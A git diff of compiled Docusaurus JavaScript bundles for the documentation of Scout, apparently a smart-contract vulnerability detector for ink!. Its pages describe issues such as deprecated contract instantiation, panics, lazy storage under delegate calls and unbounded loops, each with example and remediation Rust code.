}\n')),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/428dabee.d4da5892.js b/assets/js/428dabee.d4da5892.js deleted file mode 100644 index 04120e84..00000000 --- a/assets/js/428dabee.d4da5892.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4667],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),l=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=l(e.components);return r.createElement(c.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,c=e.parentName,u=s(e,["components","mdxType","originalType","parentName"]),p=l(n),m=a,f=p["".concat(c,".").concat(m)]||p[m]||d[m]||i;return n?r.createElement(f,o(o({ref:t},u),{},{components:n})):r.createElement(f,o({ref:t},u))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,o=new Array(i);o[0]=m;var s={};for(var c in t)hasOwnProperty.call(t,c)&&(s[c]=t[c]);s.originalType=e,s[p]="string"==typeof e?e:a,o[1]=s;for(var l=2;l{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>s,toc:()=>l});var r=n(2564),a=(n(9496),n(9613));const i={},o="Don't use instantiate_contract_v1",s={unversionedId:"vulnerabilities/dont-use-instantiate-contract-v1",id:"vulnerabilities/dont-use-instantiate-contract-v1",title:"Don't use instantiate_contract_v1",description:"Description",source:"@site/docs/vulnerabilities/33-dont-use-instantiate-contract-v1.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dont-use-instantiate-contract-v1",permalink:"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/33-dont-use-instantiate-contract-v1.md",tags:[],version:"current",sidebarPosition:33,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy values not set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set"},next:{title:"Detectors",permalink:"/scout/docs/detectors/"}},c={},l=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:l},p="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(p,(0,r.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"dont-use-instantiate_contract_v1"},"Don't use instantiate_contract_v1"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Best Practices")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-instantiate-contract-v1"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases"},(0,a.kt)("inlineCode",{parentName:"a"},"dont-use-instantiate-contract-v1")))),(0,a.kt)("p",null,"Avoid using ",(0,a.kt)("inlineCode",{parentName:"p"},"instantiate_contract_v1")," as it is a low level way to evaluate another smart contract. If needed, use ",(0,a.kt)("inlineCode",{parentName:"p"},"instantiate_contract")," instead. Also, use methods on a ",(0,a.kt)("inlineCode",{parentName:"p"},"ContractRef")," or the ",(0,a.kt)("inlineCode",{parentName:"p"},"CreateBuilder")," through ",(0,a.kt)("inlineCode",{parentName:"p"},"build_create")," if possible."),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' impl MyContract {\n #[ink(constructor)]\n pub fn new() -> Self {\n Self {}\n }\n\n #[ink(message)]\n pub fn instantiate_contract(&self) -> MyContractRef {\n let create_params = build_create::()\n .instantiate_v1()\n .code_hash(Hash::from([0x42; 32]))\n .gas_limit(500_000_000)\n .endowment(25)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("new")))\n .push_arg(42)\n .push_arg(true)\n .push_arg(&[0x10u8; 32]),\n )\n .salt_bytes(&[0xCA, 0xFE, 0xBA, 0xBE])\n .returns::()\n .params();\n self.env()\n .instantiate_contract_v1(&create_params)\n .unwrap_or_else(|error| {\n panic!(\n "Received an error from the Contracts pallet while instantiating: {:?}",\n error\n )\n })\n .unwrap_or_else(|error| {\n panic!("Received a `LangError` while instatiating: {:?}", error)\n })\n }\n }\n')),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"},' impl MyContract {\n #[ink(constructor)]\n pub fn new() -> Self {\n Self {}\n }\n\n #[ink(message)]\n pub fn instantiate_contract(&self) -> MyContractRef {\n let create_params = build_create::()\n .code_hash(Hash::from([0x42; 32]))\n .ref_time_limit(500_000_000)\n .proof_size_limit(100_000)\n .storage_deposit_limit(500_000_000_000)\n .endowment(25)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("new")))\n .push_arg(42)\n .push_arg(true)\n .push_arg(&[0x10u8; 32]),\n )\n .salt_bytes(&[0xCA, 0xFE, 0xBA, 0xBE])\n .returns::()\n .params();\n self.env()\n .instantiate_contract(&create_params)\n .unwrap_or_else(|error| {\n panic!(\n "Received an error from the Contracts pallet while instantiating: {:?}",\n error\n )\n })\n .unwrap_or_else(|error| {\n panic!("Received a `LangError` while instatiating: {:?}", error)\n })\n }\n }\n')),(0,a.kt)("h2",{id:"references"},"References"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"},"https://docs.rs/ink_env/5.0.0/ink_env/fn.instantiate_contract_v1.html"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/4831a608.545711b2.js b/assets/js/4831a608.2fbdcc89.js similarity index 51% rename from assets/js/4831a608.545711b2.js rename to assets/js/4831a608.2fbdcc89.js index 9d899e13..a30f25ac 100644 --- a/assets/js/4831a608.545711b2.js +++ b/assets/js/4831a608.2fbdcc89.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5405],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function i(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var l=n.createContext({}),s=function(e){var t=n.useContext(l),r=t;return e&&(r="function"==typeof e?e(t):i(i({},t),e)),r},u=function(e){var t=s(e.components);return n.createElement(l.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,l=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),p=s(r),m=o,f=p["".concat(l,".").concat(m)]||p[m]||d[m]||a;return r?n.createElement(f,i(i({ref:t},u),{},{components:r})):n.createElement(f,i({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,i=new Array(a);i[0]=m;var c={};for(var l in t)hasOwnProperty.call(t,l)&&(c[l]=t[l]);c.originalType=e,c[p]="string"==typeof e?e:o,i[1]=c;for(var s=2;s{r.r(t),r.d(t,{assets:()=>l,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>c,toc:()=>s});var n=r(2564),o=(r(9496),r(9613));const a={},i="Panic error",c={unversionedId:"detectors/panic-error",id:"detectors/panic-error",title:"Panic error",description:"What it does",source:"@site/docs/detectors/4-panic-error.md",sourceDirName:"detectors",slug:"/detectors/panic-error",permalink:"/scout/docs/detectors/panic-error",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/4-panic-error.md",tags:[],version:"current",sidebarPosition:4,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Reentrancy",permalink:"/scout/docs/detectors/reentrancy"},next:{title:"Unused return enum",permalink:"/scout/docs/detectors/unused-return-enum"}},l={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:s},p="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(p,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"panic-error"},"Panic error"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"The panic! macro is used to stop execution when a condition is not met.\nThis is useful for testing and prototyping, but should be avoided in production code"),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"The usage of panic! is not recommended because it will stop the execution of the caller contract."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"While this linter detects explicit calls to panic!, there are some ways to raise a panic such as unwrap() or expect()."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'// example code where a warning is issued\npub fn add(&mut self, value: u32) {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => panic!("Overflow error"),\n };\n}\n')),(0,o.kt)("p",null,"// example code that does not raise a warning"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n}\n\npub fn add(&mut self, value: u32) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n')),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/panic-error"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5405],{9613:(e,t,r)=>{r.d(t,{Zo:()=>p,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function i(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var l=n.createContext({}),s=function(e){var t=n.useContext(l),r=t;return e&&(r="function"==typeof e?e(t):i(i({},t),e)),r},p=function(e){var t=s(e.components);return n.createElement(l.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,l=e.parentName,p=c(e,["components","mdxType","originalType","parentName"]),u=s(r),m=o,f=u["".concat(l,".").concat(m)]||u[m]||d[m]||a;return r?n.createElement(f,i(i({ref:t},p),{},{components:r})):n.createElement(f,i({ref:t},p))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,i=new Array(a);i[0]=m;var c={};for(var l in t)hasOwnProperty.call(t,l)&&(c[l]=t[l]);c.originalType=e,c[u]="string"==typeof e?e:o,i[1]=c;for(var s=2;s{r.r(t),r.d(t,{assets:()=>l,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>c,toc:()=>s});var n=r(2564),o=(r(9496),r(9613));const a={},i="Panic error",c={unversionedId:"detectors/panic-error",id:"detectors/panic-error",title:"Panic error",description:"What it does",source:"@site/docs/detectors/4-panic-error.md",sourceDirName:"detectors",slug:"/detectors/panic-error",permalink:"/scout/docs/detectors/panic-error",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/4-panic-error.md",tags:[],version:"current",sidebarPosition:4,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Reentrancy",permalink:"/scout/docs/detectors/reentrancy"},next:{title:"Unused return enum",permalink:"/scout/docs/detectors/unused-return-enum"}},l={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:s},u="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(u,(0,n.Z)({},p,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"panic-error"},"Panic error"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"The ",(0,o.kt)("inlineCode",{parentName:"p"},"panic!")," macro is used to stop execution when a condition is not met.\nThis is useful for testing and prototyping, but should be avoided in production code."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"The usage of ",(0,o.kt)("inlineCode",{parentName:"p"},"panic!")," is not recommended because it will stop the execution of the caller contract."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"While this linter detects explicit calls to ",(0,o.kt)("inlineCode",{parentName:"p"},"panic!"),", there are some ways to raise a panic such as ",(0,o.kt)("inlineCode",{parentName:"p"},"unwrap()")," or ",(0,o.kt)("inlineCode",{parentName:"p"},"expect()"),"."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'// example code where a warning is issued\npub fn add(&mut self, value: u32) {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => panic!("Overflow error"),\n };\n}\n')),(0,o.kt)("p",null,"Here is an example of code that does not raise a warning:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},'#[derive(Debug, PartialEq, Eq, scale::Encode, scale::Decode)]\n#[cfg_attr(feature = "std", derive(scale_info::TypeInfo))]\npub enum Error {\n /// An overflow was produced while adding\n OverflowError,\n}\n\npub fn add(&mut self, value: u32) -> Result<(), Error> {\n match self.value.checked_add(value) {\n Some(v) => self.value = v,\n None => return Err(Error::OverflowError),\n };\n Ok(())\n}\n')),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/panic-error"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/49e536ee.5d1c7fb9.js b/assets/js/49e536ee.5d1c7fb9.js new file mode 100644 index 00000000..dfe74434 --- /dev/null +++ b/assets/js/49e536ee.5d1c7fb9.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1270],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var c=r.createContext({}),s=function(e){var t=r.useContext(c),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=s(e.components);return r.createElement(c.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,c=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=s(n),m=a,f=u["".concat(c,".").concat(m)]||u[m]||d[m]||o;return n?r.createElement(f,i(i({ref:t},p),{},{components:n})):r.createElement(f,i({ref:t},p))}));function f(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,i=new Array(o);i[0]=m;var l={};for(var c in t)hasOwnProperty.call(t,c)&&(l[c]=t[c]);l.originalType=e,l[u]="string"==typeof e?e:a,i[1]=l;for(var s=2;s{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>s});var r=n(2564),a=(n(9496),n(9613));const o={},i="Lazy storage on delegate",l={unversionedId:"detectors/lazy-delegate",id:"detectors/lazy-delegate",title:"Lazy storage on delegate",description:"What it does",source:"@site/docs/detectors/23-lazy-delegate.md",sourceDirName:"detectors",slug:"/detectors/lazy-delegate",permalink:"/scout/docs/detectors/lazy-delegate",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/23-lazy-delegate.md",tags:[],version:"current",sidebarPosition:23,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Mapping Operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation"},next:{title:"Incorrect Exponentiation",permalink:"/scout/docs/detectors/incorrect-exponentiation"}},c={},s=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:s},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"lazy-storage-on-delegate"},"Lazy storage on delegate"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"Checks for non-lazy storage when using delegate calls."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,(0,a.kt)("inlineCode",{parentName:"p"},"ink!")," has a bug that prevents delegate calls from modifying the storage of the caller."),(0,a.kt)("h4",{id:"more-info"},"More info"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1825"},"https://github.com/paritytech/ink/issues/1825")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1826"},"https://github.com/paritytech/ink/issues/1826"))),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n admin: AccountId,\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n admin: Lazy>,\n }\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-delegate"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/49e536ee.704a2bf0.js b/assets/js/49e536ee.704a2bf0.js deleted file mode 100644 index 7cd1997e..00000000 --- a/assets/js/49e536ee.704a2bf0.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[1270],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>y});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=r.createContext({}),c=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=c(e.components);return r.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,o=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(n),m=a,y=u["".concat(s,".").concat(m)]||u[m]||d[m]||o;return n?r.createElement(y,i(i({ref:t},p),{},{components:n})):r.createElement(y,i({ref:t},p))}));function y(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var o=n.length,i=new Array(o);i[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:a,i[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>d,frontMatter:()=>o,metadata:()=>l,toc:()=>c});var r=n(2564),a=(n(9496),n(9613));const o={},i="Lazy storage on delegate",l={unversionedId:"detectors/lazy-delegate",id:"detectors/lazy-delegate",title:"Lazy storage on delegate",description:"What it does",source:"@site/docs/detectors/23-lazy-delegate.md",sourceDirName:"detectors",slug:"/detectors/lazy-delegate",permalink:"/scout/docs/detectors/lazy-delegate",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/23-lazy-delegate.md",tags:[],version:"current",sidebarPosition:23,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected Mapping Operation",permalink:"/scout/docs/detectors/unprotected-mapping-operation"},next:{title:"Lazy values get and not set",permalink:"/scout/docs/detectors/lazy-values-not-set"}},s={},c=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"lazy-storage-on-delegate"},"Lazy storage on delegate"),(0,a.kt)("h3",{id:"what-it-does"},"What it does"),(0,a.kt)("p",null,"Checks for non-lazy storage when using delegate calls."),(0,a.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,a.kt)("p",null,"ink! has a bug that makes delegated calls not modify the storage of the caller."),(0,a.kt)("h4",{id:"more-info"},"More info"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1825"},"https://github.com/paritytech/ink/issues/1825")),(0,a.kt)("li",{parentName:"ul"},(0,a.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1826"},"https://github.com/paritytech/ink/issues/1826"))),(0,a.kt)("h3",{id:"example"},"Example"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n admin: AccountId,\n }\n")),(0,a.kt)("p",null,"Use instead:"),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n admin: Lazy>,\n }\n")),(0,a.kt)("h3",{id:"implementation"},"Implementation"),(0,a.kt)("p",null,"The detector's implementation can be found at ",(0,a.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-delegate"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/4c59ca6b.934852a4.js b/assets/js/4c59ca6b.9cd72d87.js similarity index 55% rename from assets/js/4c59ca6b.934852a4.js rename to assets/js/4c59ca6b.9cd72d87.js index 9c899aeb..194d5c0d 100644 --- a/assets/js/4c59ca6b.934852a4.js +++ b/assets/js/4c59ca6b.9cd72d87.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[8280],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>f});var r=n(9496);function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var u=r.createContext({}),l=function(e){var t=r.useContext(u),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},p=function(e){var t=l(e.components);return r.createElement(u.Provider,{value:t},e.children)},c="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,o=e.mdxType,a=e.originalType,u=e.parentName,p=s(e,["components","mdxType","originalType","parentName"]),c=l(n),m=o,f=c["".concat(u,".").concat(m)]||c[m]||d[m]||a;return n?r.createElement(f,i(i({ref:t},p),{},{components:n})):r.createElement(f,i({ref:t},p))}));function f(e,t){var n=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=n.length,i=new Array(a);i[0]=m;var s={};for(var u in t)hasOwnProperty.call(t,u)&&(s[u]=t[u]);s.originalType=e,s[c]="string"==typeof e?e:o,i[1]=s;for(var l=2;l{n.r(t),n.d(t,{assets:()=>u,contentTitle:()=>i,default:()=>d,frontMatter:()=>a,metadata:()=>s,toc:()=>l});var r=n(2564),o=(n(9496),n(9613));const a={},i="DoS unbounded operation",s={unversionedId:"detectors/dos-unbounded-operation",id:"detectors/dos-unbounded-operation",title:"DoS unbounded operation",description:"What it does",source:"@site/docs/detectors/6-dos-unbounded-operation.md",sourceDirName:"detectors",slug:"/detectors/dos-unbounded-operation",permalink:"/scout/docs/detectors/dos-unbounded-operation",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/6-dos-unbounded-operation.md",tags:[],version:"current",sidebarPosition:6,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unused return enum",permalink:"/scout/docs/detectors/unused-return-enum"},next:{title:"DoS unexpected revert with vector",permalink:"/scout/docs/detectors/dos-unexpected-revert-with-vector"}},u={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],p={toc:l},c="wrapper";function d(e){let{components:t,...n}=e;return(0,o.kt)(c,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"dos-unbounded-operation"},"DoS unbounded operation"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"This detector checks that when using for or while loops, their conditions limit the execution to a constant number of iterations."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"If the number of iterations is not limited 